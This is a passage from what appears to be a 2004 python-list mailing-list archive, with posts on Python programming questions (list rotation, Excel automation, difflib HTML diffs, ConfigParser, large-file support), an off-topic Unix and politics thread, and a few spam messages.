least important decisions one makes when starting a large project, but 
the fact remains that when looking for employees, the number one 
question recruiters always ask is, "Do you know language X?".  If you 
say, "no", you won't even get past the initial phone screen.

So, absolutely learn Python as a first language.  But, don't stop there.


From noone at here.com  Thu Sep 30 13:29:24 2004
From: noone at here.com (M. Clift)
Date: Thu, 30 Sep 2004 18:29:24 +0100
Subject: List rotation
References: <cjftdv$ofl$1@news8.svr.pol.co.uk>
	<mailman.4116.1096515802.5135.python-list@python.org>
	<cjg4cn$qsc$1@newsg4.svr.pol.co.uk>
	<cjgam4$1of$1@gemini.csx.cam.ac.uk>
	<cjhe1o$s8f$1@news8.svr.pol.co.uk>
	<cjhf0k$tc4$1@newsg3.svr.pol.co.uk>
Message-ID: <cjhflv$nc$1@news5.svr.pol.co.uk>

Hi,

Stop the press! Sorry, thats just me being dumb. Of course the easy way is
just to alter the trans value. So instead of trans = 1, trans should = 3 to
transpose the chords up a tone.

Also, to quote the Meaning of Life death/dinner party scene I have commited
social death in my last post.
Amoungst should of course be amongst, oh the shame of it.

Thanks,

Malcolm






From jerf at jerf.org  Tue Sep 21 01:59:30 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Tue, 21 Sep 2004 05:59:30 GMT
Subject: MAC address
References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au>
	<200409201005.25963.heikowu@ceosg.de>
	<mailman.3553.1095679406.5135.python-list@python.org>
	<414efed5$0$60631$a1866201@newsreader.visi.com>
	<mailman.3613.1095723708.5135.python-list@python.org>
	<414f7c66$0$60638$a1866201@newsreader.visi.com>
	<mailman.3616.1095729288.5135.python-list@python.org>
	<20040921002603.15d24a03@gypsy.pfortin.com>
	<mailman.3621.1095743487.5135.python-list@python.org>
Message-ID: <pan.2004.09.22.04.20.46.396519@jerf.org>

On Tue, 21 Sep 2004 07:17:48 +0200, Peter Finlayson wrote:

> I am not at all knowledgeable about the topic, but since he is talking 
> about wireless connections, couldn't he set his wireless NIC to 
> promiscuous mode and read the server's responses that way?

That changes nothing from the servers point of view (packets go out,
packets received) so while that could theoretically work it gets you
nowhere.


From me at privacy.net  Thu Sep  2 18:50:00 2004
From: me at privacy.net (James Keasley)
Date: 2 Sep 2004 22:50:00 GMT
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
	<opsdpprvxppqzri1@mjolner.upc.no>
	<slrncjf52a.oa.amajorel@vulcain.knox.com>
	<opsdp09czgpqzri1@mjolner.upc.no>
Message-ID: <slrncjf8so.aqk.me@athena.homeric.co.uk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

["Followup-To:" header set to comp.lang.perl.misc.]
On 2004-09-02, John Thingstad <john.thingstad at chello.no> wrote:
> On Thu, 2 Sep 2004 21:44:46 +0000 (UTC), Andre Majorel  
><amajorel at teezer.fr> wrote:
>
>> On 2004-09-02, John Thingstad <john.thingstad at chello.no> wrote:

> No but the algorithms for memory management, disk mangement and FTP in  
> unix were
> well documented at the time. Linux Pauling started out with minix and then
> went on to make a (mostly) posix compliant unix.

IIRC, the only relation that Minix has with Linux is that Linus (Torvalds,
Pauling is a geneticist IIRC) was using it as an OS when he started 
developing the terminal emulator that eventually became Linux, and indeed
the kernel architecture is pretty fundementally different.

> Seem to remeber this from my student days.
>
> Operating Systems (design and implication) Andrew S. Tanenbaum
>
> Intrucudes minix, a mini unix compatible with version 7 of unix.
> (Not to be confused with system V.. the roman numerals were introdused by  
> AT&T)

Yeah, and apparently it is still the classic text on OS design.


- -- 
James					jamesk[at]homeric[dot]co[dot]uk

'No, `Eureka' is Greek for `This bath is too hot.'' -- Dr. Who
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)

iD8DBQFBN6OYqfSmHkD6LvoRAi8FAJsHV2zx+TfKfwq7zkir91O4qvX7zwCdEeYn
HLHT0Bk2u7z/Y/zMTqFMuUc=
=vWN2
-----END PGP SIGNATURE-----


From newsreply at transfertech.de  Thu Sep 30 12:05:14 2004
From: newsreply at transfertech.de (Axel Mittendorf)
Date: Thu, 30 Sep 2004 18:05:14 +0200
Subject: thread execution order
References: <mailman.4142.1096558047.5135.python-list@python.org>
Message-ID: <cjhaej$aq6$03$1@news.t-online.com>

<exarkun at divmod.com> wrote:
>   Could you explain why it is not an option to use a non-blocking pipe?
Correct me if I'm wrong but if I would use a non-blocking pipe I would
write the data and save everything that hasn't been written out in an
internal
buffer. I would need a timer the checks if there is any buffered data and
tries
to write it into the pipe, but since I'm not allowed to use timers I thought
about
using threads.

THX, Axel




From gregm-news at toadmail.com  Tue Sep 14 10:55:11 2004
From: gregm-news at toadmail.com (Greg Menke)
Date: 14 Sep 2004 10:55:11 -0400
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<chsu8b$ujb$1@grandcanyon.binc.net>
	<Eeo0d.18563$Qx2.9439@newssvr29.news.prodigy.com>
	<ci4gs0$23p$1@grandcanyon.binc.net> <m3pt4qc57f.fsf@europa.pienet>
	<4146dc2f$0$2665$61fed72c@news.rcn.com>
	<m3sm9lvwnv.fsf@europa.pienet> <87brg96kfe.fsf@p4.internal>
Message-ID: <m34qm0yk6o.fsf@europa.pienet>

Bulent Murtezaoglu <bm at acm.org> writes:

> Soo, another lisper cannot resist the temptation.  
> 
> >>>>> "GM" == Greg Menke <gregm-news at toadmail.com> writes:
> [...]
>     GM> They're pretty convinced of that already- after all Dubya
>     GM> called this a crusade from day 1.  [...]
> 
> In all fairness I think that was plain dumbness in use of langauge.
> He didn't mean a crusade in the historic sense.  Even if he thinks it,
> that was nothing more than an unfortunate choice of words.  I am 99%
> sure of this as I vividly remeber my jaw dropping when I saw him say
> it in the window to the left of the one I was reading this very
> newsgroup in.  The men in that family are not good public speakers 
> and they seem to have trouble expressing themselves to reporters.  
> I see no malice in that.

You may or may not be right about the dumbness of language, but thats
not germane.  What is important are the conclusions people in the
middle east draw from it.

> 
> [...]
>     GM> I'm not vastly fond of Dubya Sr., but I think he did the right
>     GM> things in Iraq; he was a better president than his son in all
>     GM> respects.
> 
> He was, but the Iraq thing wasn't done right back then either.  Of
> course it is easy to say this with hindsight, but saving a shiekdom
> and a kingdom while ending up in a position where you cross your
> fingers that Saddam supresses uprisings w/o too much visible carnage
> is not a good outcome.  Maintaining a state of embargo against, as it
> turned out, the people of Iraq indefinitely was not a good option
> either.
> 
> It is one of those cases where it's pretty clear that any obvious
> option is not good, but it is not clear what the right thing to do is.
> Had it been possible to leave the region alone after (or indeed
> during) WW-I, some reasonably stable state of affairs might have
> emerged.  Actually, this is not unlike the Balkans.  There, oil was
> not in the equation but once Tito was gone, things that should have
> happened between the Balkan wars and maybe 1950's ended up happening
> in the 90s with much bloodshed and no clean ending (think Kosovo).


What if what if what if.  The problem is we're stuck in a hugely
expensive, poorly planned and strategically stupid situation.  We
weren't before we invaded.

 
> Presumably the people who get elected to positions of power are called
> leaders because they are supposed to have better ideas and visions on
> these things than us geeks do.  That has clearly not been the case so
> far.

To be sure. 


> 9/11 seems to have gotten rid of any chance of sane action by the US in 
> the region, anyway.  So basically the problem is no longer how the 
> civilized and reasonably free world will exert its influence in the 
> middle east, but how the world can try to influence the lone superpower 
> so it doesn't do too much damage to itself and the rest of the world.
> Now that, I suspect, could have been prevented had the influential 
> people in the states (be it the press, the congress, whatever) showed 
> some backbone.

One problem with the situation was Dubya & Co succeeded in strongly
hinting that disagreement was akin to treason.  There was simply no
policital room for debate after 9/11.  Bush was well on his way to
sinking into his own incompetence by September 2001- the incompetence
hasn't changed, but he sure got his mandate to Do Something.

Gregm



From peter at engcorp.com  Wed Sep  1 18:18:38 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 01 Sep 2004 18:18:38 -0400
Subject: How to learn to use python with Excel
In-Reply-To: <9048dfd6.0409011402.51f0bc66@posting.google.com>
References: <9048dfd6.0409011402.51f0bc66@posting.google.com>
Message-ID: <r6idnW1FwMJd16vcRVn-sw@powergate.ca>

Xiao-Qin Xia wrote:

> I don't like VBA, and want to use python to work with Excel. Does
> anybody recommend some good documents to begin with?

Mark Hammond and Andy Robinson's book 
(http://www.oreilly.com/catalog/pythonwin32/index.html) has good
coverage of such things.  You can even read it online if you
subscribe to Safari.

There are also probably dozens of examples you can find on the
net here and there, or in the newsgroup/mailing list archives.
For example, this search should get you started: 
http://groups.google.com/groups?q=group%3Acomp.lang.python.*+excel.application

-Peter


From maxm at mxm.dk  Sat Sep  4 05:28:05 2004
From: maxm at mxm.dk (Max M)
Date: Sat, 04 Sep 2004 11:28:05 +0200
Subject: How to actually write a program?
In-Reply-To: <mailman.2853.1094247955.5135.python-list@python.org>
References: <chano0$1gv$1@sparta.btinternet.com>
	<mailman.2853.1094247955.5135.python-list@python.org>
Message-ID: <41398a3c$0$255$edfadb0f@dread12.news.tele.dk>

Jp Calderone wrote:

> Nick Evans wrote:
> 
>> Now then.... where do I start.
>> Any ideas about this problem :-)
> 
>   Close the file.  Open test_mykewlprogram.py and begin writing unit tests.


I completely agree in the value of test driven development, but for 
someone writing a first program I completely disagree!

He will have to fight both programming in itself, and the test driven 
development process.

There is a big difference in learning to program, and in programming itself.

You should simply start coding! Solve problems as you go along. The most 
important thing is to allways be aware when something is repeated.

You should focus on the DRY principle.

Dont Repeat Yourself
====================

If you have written a similar piece of code 3 times, you should refactor 
it into a function.

You don't state if you know object oriented programming, but if you 
don't, you should read up in it while writing your program.

Then try to solve your problems with objects.

Also read some good books about programming. Stuff like "The Pragmatic 
Programmer" & "Code Complete"

On your next program you should then start writing unittest...

regards Max M


From caroundw5h at gmail.com  Sun Sep 12 12:11:22 2004
From: caroundw5h at gmail.com (Michael Scarlett)
Date: 12 Sep 2004 09:11:22 -0700
Subject: Python bell or beep
References: <1B64CD41A257784EAD82424FC8915F840EADC11C@NYCEXMB15.pfizer.com>	<cht1cc$ero$1@sea.gmane.org>
	<mailman.3173.1094848606.5135.python-list@python.org>
Message-ID: <9f26450b.0409120811.5a4647c2@posting.google.com>

"Mike C. Fletcher" <mcfletch at rogers.com> wrote in message news:<mailman.3173.1094848606.5135.python-list at python.org>...
> Jeffrey Barish wrote:
> 
> >Greer, Joseph wrote:
> >
> >  
> >
> >>I am a former BASIC programmer.  Is there a command I can place in a
> >>Python program to make a beep or buzz or bell?
> >>    
> >>
> There are various ways, most platform/shell specific. If you happen to 
> be on Windows, check out the standard module winsound. 
> 
> HTH,
> Mike
> 
> ________________________________________________
>   Mike C. Fletcher
>   Designer, VR Plumber, Coder
>   http://www.vrplumber.com
>   http://blog.vrplumber.com


or just do this [code]
print "\a"
[/code] 

not too hard


From adalke at mindspring.com  Thu Sep 23 13:41:38 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 23 Sep 2004 17:41:38 GMT
Subject: lfs confusion
In-Reply-To: <mailman.3796.1095959172.5135.python-list@python.org>
References: <mailman.3796.1095959172.5135.python-list@python.org>
Message-ID: <mVD4d.1230$zG1.821@newsread3.news.pas.earthlink.net>

John Hunter wrote:
> I am a bit confused about LFS in python.  In the olden days, I used
> the following to test whether python and my kernel supported large
> files
> 
>     >>> fd = open('/dev/null', 'rw')
>     >>> fd.tell()
>     0L
> 
> If 0L was returned, LFS was enabled, if 0 was returned, LFS was not
> enabled.
   ..
> Is the fd.tell() 0L trick no longer valid.  What is the right way to
> test for LFS support in python?

Python is undergoing a process of int/long unification.
str(long_number) as of 2.0 no longer puts a "L" at the end
of string.

If you want to use your method, try using 'repr' instead
of 'str'.  That probably won't happen for the long term
though (3.0 and greater?).

You might want to try doing a seek to a large int
to see what happens.

lfs_enabled = True
try:
   fd.tell(sys.maxint * 3L)
except OverflowError:
   lfs_enabled = False

I've tried various Python versions I have, but they
are all enabled with large file support so I don't
know if this works.

				Andrew
				dalke at dalkescientific.com


From greg at cosc.canterbury.ac.nz  Sun Sep  5 22:44:33 2004
From: greg at cosc.canterbury.ac.nz (greg)
Date: Mon, 06 Sep 2004 14:44:33 +1200
Subject: compiling to python byte codes
References: <4136b2b5$1@news.unimelb.edu.au>
	<4136bbf3$0$197$9b622d9e@news.freenet.de>
	<6f402501.0409020321.44fd443@posting.google.com>
	<41375f6a$0$13076$9b622d9e@news.freenet.de>
	<4137a850$1@news.unimelb.edu.au>
	<pan.2004.09.02.20.00.45.714844@jerf.org>
	<4137bf73$1@news.unimelb.edu.au>
	<pan.2004.09.02.22.49.36.55719@jerf.org>
	<4137e739$1@news.unimelb.edu.au>
	<ch8r2b$mva$1@news.service.uci.edu>
	<4137f79f$1@news.unimelb.edu.au>
	<4138207f$0$182$9b622d9e@news.freenet.de>
	<413ba25b$1@news.unimelb.edu.au>
Message-ID: <413BCF11.6030904@cosc.canterbury.ac.nz>

Maurice LING wrote:
> Probably my question should be phrased as, given what x86/PPC processors 
> are register-based (even after more than a decade from the publication 
> of the book "Stack Machines - the new wave") and there isn't much 
> examples of stack-based processors, why is there a difference?

If you're implementing a machine in hardware, access to
registers is much faster than access to memory. Since the
current trend in hardware design seems to be "as fast as
possible, whatever it takes", today's architectures are
increasingly register-based.

But with an interpreter, things are very different. The
"registers" of the VM probably aren't going to be real
registers, but memory locations. Even if you do manage to
keep them in real registers, the time spent accessing them
is going to be small compared to the time spent fetching
instructions, decoding them and figuring out what operands
they refer to, so the speed advantage would be quite minimal.

Given that, and the fact that stack architectures are much
easier to generate code for, it's not surprising that most
VMs tend to have stack architectures.

Greg




From faisal at nasim.org  Tue Sep  7 05:23:38 2004
From: faisal at nasim.org (Faisal Nasim)
Date: Tue, 07 Sep 2004 04:23:38 -0500
Subject: Email address has changed [auto-generated]
Message-ID: <E1C4cCQ-0006uT-On@ns1.virtualdot.net>

[ This is an automatically generated message ]

Hey there!!

Due to excessive amounts of spam, I've closed this mailbox! My email has changed to whizkid AT nasim dot org
Please email me there!

Thank you.


Regards,

Faisal Nasim

P.S. This email is sent to everyone who sends a message at faisal at nasim.org. If you didn't send a message, please check your system for viruses.



From GoogleGroups at garringer.net  Thu Sep 16 10:55:12 2004
From: GoogleGroups at garringer.net (Roy)
Date: 16 Sep 2004 07:55:12 -0700
Subject: How to detect open windows applications
Message-ID: <82d4be71.0409160655.234749ab@posting.google.com>

How do I know within my python script if a specific windows
application is currently running in Windows 2000. Specifically, I
would like to know of MSWORD is running. I have the win32 package
installed. Thank you for your help.


From gzgimsun at 163.net  Sun Sep 19 02:53:13 2004
From: gzgimsun at 163.net ( paris¡@)
Date: 19 Sep 2004 06:53:13 GMT
Subject: China girl in Paris
Message-ID: <cijacp$pe2496@imsp212.netvigator.com>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040919/369cea10/attachment.html>

From jeff at ccvcorp.com  Wed Sep  8 14:27:36 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Wed, 08 Sep 2004 11:27:36 -0700
Subject: Remove items from a list
In-Reply-To: <wzw%c.14064$It2.9861@fe2.texas.rr.com>
References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com>
	<KOv%c.104$GRm.52@news04.bloor.is.net.cable.rogers.com>
	<yWv%c.33126$Dl4.19812@fe2.texas.rr.com>
	<wzw%c.14064$It2.9861@fe2.texas.rr.com>
Message-ID: <10jujmd992t9236@corp.supernews.com>

Paul McGuire wrote:

>"Stan Cook" <scook at elp.rr.com> wrote in message
>news:yWv%c.33126$Dl4.19812 at fe2.texas.rr.com...
>  
>
>>Yes, I used the listdir.  The list is a list of files in the
>>directory.  I want to filter everything out but the ".dbf"
>>files.
>>
>>    
>>
>
>You said the answer yourself - "I want to _filter_ everything out but the
>".dbf" files."
>
>Use filter built-in, and use str's endswith() method in place of [-4:] list
>slicing.
>
>dirlist = [ "a.txt", "b.txt", "c.dbf", "d.txt", "e.dbf" ]
>isdbf = lambda x : x.endswith(".dbf")
>print filter( isdbf, dirlist )
>
>gives:
>
>['c.dbf', 'e.dbf']
>  
>

Or, one could use a list comprehension and avoid the lambda:

    isdbf = [ item for item in dirlist if item.endswith('.dbf') ]

Or better yet ;)  one could trade listdir()/filtering for a single call 
to glob:

    import glob
    isdbf = glob.glob('*.dbf')

Jeff Shannon
Technician/Programmer
Credit International



From gumuz at NO_looze_SPAM.net  Fri Sep 24 08:10:16 2004
From: gumuz at NO_looze_SPAM.net (Guyon Morée)
Date: Fri, 24 Sep 2004 14:10:16 +0200
Subject: file read, binary or text mode
References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net>
	<MaqdnVoFl5tkmsncRVn-uQ@powergate.ca>
Message-ID: <41540ea3$0$3889$4d4ebb8e@news.nl.uu.net>

ok, i have huffman encoding code.

this is actually build for text, but because python can also read a binary
file as a string, this applies equally well :)

but, i was just wondering if this gives any problems if I use text-mode read
for the binary files and vice versa.

If I undertand correctly now, using binary mode is _always_ save, right?


"Peter Hansen" <peter at engcorp.com> wrote in message
news:MaqdnVoFl5tkmsncRVn-uQ at powergate.ca...
> Guyon Mor?e wrote:
> > what is the difference?
> >
> > if I open a text file in binary (rb) mode, it doesn't matter... the
read()
> > output is the same.
>
> If you are on Linux that's the case...  or under other
> conditions.  Maybe describing your platform and showing
> an example of what you're trying to do would be helpful.
>
> -Peter




From fmml at cedval.org  Sat Sep 11 13:22:19 2004
From: fmml at cedval.org (Francois Meehan)
Date: Sat, 11 Sep 2004 13:22:19 -0400
Subject: Retrieving windows event log from a Linux box... 
Message-ID: <FvG0d.55168$sz2.1027406@wagner.videotron.net>

Hi all,

Is there a way using python, to retrieve events log of a windows pc, 
from a Linux box?

The closest thing I could find was to use rpclient of samba tng, but if 
I could find a "pure" python solution, that would be the best.

Thanks in advance,

Francois Meehan


From santoshamb at yahoo.com  Sun Sep  5 21:30:00 2004
From: santoshamb at yahoo.com (ben)
Date: 5 Sep 2004 18:30:00 -0700
Subject: get https page
References: <ch8qgq$k17@odak26.prod.google.com>
	<56d498d9.0409030934.43a1952e@posting.google.com>
Message-ID: <56d498d9.0409051730.53591dd5@posting.google.com>

Heres what I did to get it to work.

Activestate python 2.3.2 does not come with the ability to connect
over a secure layer, so you have to download the file at this address:

http://www.junkheap.net/projects/python-windows-ssl/python-windows-ssl.html

after you install his code, the following will work:

import httplib

HOSTNAME = 'www.schedulesource.com'
conn = httplib.HTTPSConnection(HOSTNAME,443)
conn.putrequest('GET', '/teamwork/logon/')
conn.endheaders()
response = conn.getresponse()
print response.read()

(I was trying to write a login script for schedulesource.com)

Ben


santoshamb at yahoo.com (ben) wrote in message news:<56d498d9.0409030934.43a1952e at posting.google.com>...
> "Jonathan  Ellis" <jbellis at gmail.com> wrote in message news:<ch8qgq$k17 at odak26.prod.google.com>...
> > >>> import urllib
> > >>> r =
>  urllib.urlopen("https://www.schedulesource.com/teamwork/logon/")
> > >>> r.read()
> > '\r\n<!DOCTYPE HTML PUBLIC...
> > 
> > -Jonathan
> 
> 
> Thanks for the answer Jonathan.  The solution I found was a bit
> different. I'm going to post it when I get home, for future reference.
> 
> Ben


From dan.gass at gmail.com  Fri Sep  3 09:22:40 2004
From: dan.gass at gmail.com (Dan Gass)
Date: 3 Sep 2004 06:22:40 -0700
Subject: Generating side-by-side differences in HTML
Message-ID: <bc15ba28.0409030522.43b3880d@posting.google.com>

The difflib.py module and the diff.py tools script in Python 2.4 alpha
3 now support generating side by side (with intra line differences) in
HTML format.  I have found this useful for performing build release
comparisons (I use a script to generate a main page showing all the
files that were changed in a build with hyperlinks to side by side
differences for each of those files).  I also find it useful for
generating HTML test reports to show differences between actual and
expected log files.  In addition I use it for supplementing Doxygen
generated HTML with side by side differences of files that were
changed.

Example usages:

<DOS_CMD_LINE>
c:/python2x/Tools/Scripts/diff.py -m file1.txt file2.txt > some.html
</DOS_CMD_LINE>

<SOME_PYTHON_SCRIPT>
import difflib
file1 = 'file1.txt'
file2 = 'file2.txt'
lines1 = open(file1).readlines()
lines2 = open(file2).readlines()
differ = difflib.HtmlDiff(tabsize=4,wrapcolumn=80)
html =  differ.make_file(lines1,lines2,file1,file2,context=True,numlines=10)
f = open('some.html','w')
f.write(html)
f.close()
</SOME_PYTHON_SCRIPT>

'tabsize' defaults to 8
'wrapcolumn' defaults to None (no line wrapping)
'context' defaults to False (shows full file vs. just showing diffs +
context)
'numlines' defaults to 5

You can try out the code either by installing Python 2.4 alpha 3 or
you can obtain the patched files (and example output) from:
https://sourceforge.net/tracker/?func=detail&atid=305470&aid=914575&group_id=5470

Enjoy,
Dan Gass


From jmfbahciv at aol.com  Thu Sep  9 09:15:05 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Thu, 09 Sep 04 13:15:05 GMT
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<20040904.0140.57670snz@dsl.co.uk>
	<769.746T1245T5844062@kltpzyxm.invalid>
	<opsdy5xuappqzri1@mjolner.upc.no>
	<p9qdnTnxTYDJR6PcRVn-pw@speakeasy.net>
	<413f049f$0$6914$61fed72c@news.rcn.com>
	<20040908192913.67c07e7d.steveo@eircom.net>
Message-ID: <41406a6d$0$6912$61fed72c@news.rcn.com>

In article <20040908192913.67c07e7d.steveo at eircom.net>,
   Steve O'Hara-Smith <steveo at eircom.net> wrote:
>On Wed, 08 Sep 04 11:48:36 GMT
>jmfbahciv at aol.com wrote:
>
>> In article <p9qdnTnxTYDJR6PcRVn-pw at speakeasy.net>,
>>    rpw3 at rpw3.org (Rob Warnock) wrote:
>
>> >*Only* a month?!?  Here's the uptime for one of my FreeBSD boxes
>> >[an old, slow '486]:
>> >
>> >    %  uptime
>> >     2:44AM  up 630 days, 21:14, 1 user, load averages: 0.06, 0.02, 
0.00
>> >    % 
>> >
>> >That's over *20* months!!
>> 
>> I bet we can measure the youngster's age by the uptimes he boasts.
>
>	The Yahoo! server farm ran to very long uptimes last time I had
>any details. The reason being that they commission a machine, add it to
>the farm and leave it running until it is replaced two or three years
>later.

Sure.  But regular users of such computing services never get an
uptime report.  Hell, they have no idea how many systems their
own webbit has used, let alone all the code that was executed
to paint that pretty picture on their TTY screen.

I bet, if we start asking, we might even get some bizarre
definitions of uptime.

I do know that the defintion of CPU runtime is disappearing.

/BAH

Subtract a hundred and four for e-mail.


From bokr at oz.net  Sat Sep  4 15:31:56 2004
From: bokr at oz.net (Bengt Richter)
Date: 4 Sep 2004 19:31:56 GMT
Subject: namespace question
References: <OAFZc.303096$gE.251089@pd7tw3no>
	<1gji17e.osu4j01dj6qkmN%aleaxit@yahoo.com>
Message-ID: <chd57c$96m$0$216.39.172.122@theriver.com>

On Fri, 3 Sep 2004 08:11:35 +0200, aleaxit at yahoo.com (Alex Martelli) wrote:

>Elaine Jackson <elainejackson7355 at home.com> wrote:
>
>> I would like to be able to write a function f, which will live in a module M,
>> and will call a function g, such that, when f is imported from M into the
>> interpreter, and invoked there, its invokation of g will return the
>> interpreter's global namespace. Is there a way to do this and, if so, how?
>> Muchas gracias for any and all assistance.
>
>There is no "interpreter global namespace".  If you mean the namespace
>of the calling module (which could be the interactive session's __main__
>if that's who did the importing) you can get there via sys._getframe --
>it's meant for debugging purposes (note the leading underscore) but it
>will work.  If you mean the namespace of __main__ (which could be the
>interactive session if there is one) you can get the __main__ module
>anywhere as sys.modules['__main__'] and a vars call around that will
>give the module's dictionary (which is, I assume, what you mean by
>namespace).
>
This brings up the question of standard terminology (e.g. for namespace).
If one googles for python glossary, the top references are mostly

    http://manatee.mojam.com/python-glossary

which seems not to have caught on so far (mea culpa too, since it takes volunteers ;-/ ).

Anyway, my take on 'namespace' is a name->value mapping. I.e., pretty abstract.
Then follows a discussion of various python mechanisms that do that (whether via
a single dict's d[name] mapping or the infinite d.get(name, default) mapping,
or the mapping implicit in the search, e.g., for a bare name using a function's
local name lookup rules (local, closure, global, builtin) -- not to mention the
mapping names undergo when used as attribute names in various ways.

Compared to other languages, python's name spaces (in my sense) seem to have
evolved interestingly ;-) I am wondering whether the future holds a more unified
model of namespaces and their access mechanisms, so most inspect and sys._getframe
name access hacks will be obviated.

Re defintions, perhaps it is time to reinvigorate Skip's wiki or something like that?

There was an interesting thread re improving python doc functionality at

http://mail.python.org/pipermail/python-list/2004-May/219682.html

An online extension of help() maybe taking a syntax clue from google ,like

    help('define:xxx')

might be an interesting hook into a glossary of definitions.

Regards,
Bengt Richter


From eurleif at ecritters.biz  Thu Sep 16 19:07:48 2004
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Thu, 16 Sep 2004 19:07:48 -0400
Subject: up with PyGUI!
In-Reply-To: <m3isaf1xki.fsf@g2ctech.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>	<m3vfeg69xp.fsf@g2ctech.com>
	<2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com>
Message-ID: <2qukdlF143c8aU1@uni-berlin.de>

Jorge Godoy wrote:
>>>BTW, I got really interested on the tool used to draw the diagrams on
>>>this page:
>>>http://www.cosc.canterbury.ac.nz/~greg/python_gui/
>>>   version/Doc/ownership.html
>>
>>As far as I can remember, I drew them with Appleworks 6,
>>printed them to PDF files, opened them with Preview and
>>then saved them as jpegs. (Photoshop might also have been
>>involved in there somewhere, I don't recall now.)
> 
> 
> Too bad these aren't tools available on Linux or FreeBSD...  I really
> liked the way they look :-)

OpenOffice.org can make diagrams like those pretty easily.


From aleaxit at yahoo.com  Fri Sep 24 19:09:05 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 25 Sep 2004 01:09:05 +0200
Subject: Why not FP for Money?
References: <A128D751272CD411BC9200508BC2194D053C79D9@escpl.tcp.com.ar>
	<mailman.3876.1096058910.5135.python-list@python.org>
Message-ID: <1gkn9l9.17bto0f1abuxr0N%aleaxit@yahoo.com>

Carlos Ribeiro <carribeiro at gmail.com> wrote:
   ...
> notation were convenient enough. More often than not, people will
> continue to use floats, have precision problems, and complain at
> c.l.py. I could bet that the number of threads about rounding errors
> is not going to be lower over the next months even with Decimal in the
> standard library :-) (Let's hope I'm wrong!)

You're probably right, but it will be nice to be able to point the
querants to module decimal.  Backwards incompatible changes, such as
taking a literal of 1.1 to mean a decimal rather than a float, are not
in the cards until Python 3.0 time -- meanwhile we need to collect the
needed in-the-field experience to support the incompatible changes we'll
want, such as the meaning of such literals.


Alex


From bradtilley at usa.net  Wed Sep 15 13:30:22 2004
From: bradtilley at usa.net (Brad Tilley)
Date: Wed, 15 Sep 2004 13:30:22 -0400
Subject: See exactly what a function has returned
In-Reply-To: <tr6dnRbHkq4J5tXcRVn-gQ@powergate.ca>
References: <ci9tfk$71t$1@solaris.cc.vt.edu>
	<tr6dnRbHkq4J5tXcRVn-gQ@powergate.ca>
Message-ID: <ci9u7e$7u0$1@solaris.cc.vt.edu>

Peter Hansen wrote:
> Brad Tilley wrote:
> 
>> Is there an easier way to do this:
>>
>> def print_whats_returned(function):
>>     print function
>>     print type(function)
> 
> 
> What is "this"?  The subject line and the name of
> the function imply it is something to do with the
> return values of a function, yet the function is
> never called.  While Python is sometimes called
> executable pseudo-code, I think in this case you'd
> be better off using plain English to describe what
> your goal is.
> 
> -Peter

OK,

def print_whats_returned(function):
     ## A function that shows what another function has returned
     ## as well as the 'type' of the returned data.
     print function
     print type(function)

def send_net_params_to_admin(ip_param, port_param):
     ip = get_server_ip()
     port = get_server_port()
     return ip, port

print_whats_returned(send_net_params_to_admin(get_server_ip(), 
get_server_port()))


From me at here.com  Tue Sep 21 03:32:39 2004
From: me at here.com (uglybob)
Date: Tue, 21 Sep 2004 01:32:39 -0600
Subject: 1 Excellent UseNet Download Tutorial >>> http://news.wfsd.net
Message-ID: <414f73f5$2_15@Output.100ProofNews.com>

I found this excellent and FREE UseNet Download Tutorial here...

http://news.wfsd.net

Tells you how to download pretty much anything you want.






x--   100 Proof News - http://www.100ProofNews.com
x--   3,500+ Binary NewsGroups, and over 90,000 other groups
x--   Access to over 1 Terabyte per Day - $8.95/Month
x--   UNLIMITED DOWNLOAD



From drysdam at ll.mit.edu  Mon Sep 20 10:05:42 2004
From: drysdam at ll.mit.edu (David Rysdam)
Date: Mon, 20 Sep 2004 10:05:42 -0400
Subject: using ConfigParser wrong?
Message-ID: <WsB3d.33$26.27@llslave.llan.ll.mit.edu>

I have a file test.cfg:

[options]
option1=foo
option2=bar


I have a program testconfig.py:

import ConfigParser

config = ConfigParser.ConfigParser()
f = open('test.cfg')
config.readfp(f)
configList = config.items('options')
print configList
config.set('options', 'option3', 'baz')
config.write(f)


When I run this program, I get an error:

Traceback (most recent call last):
   File "./testconfig.py", line 11, in ?
     config.write(f)
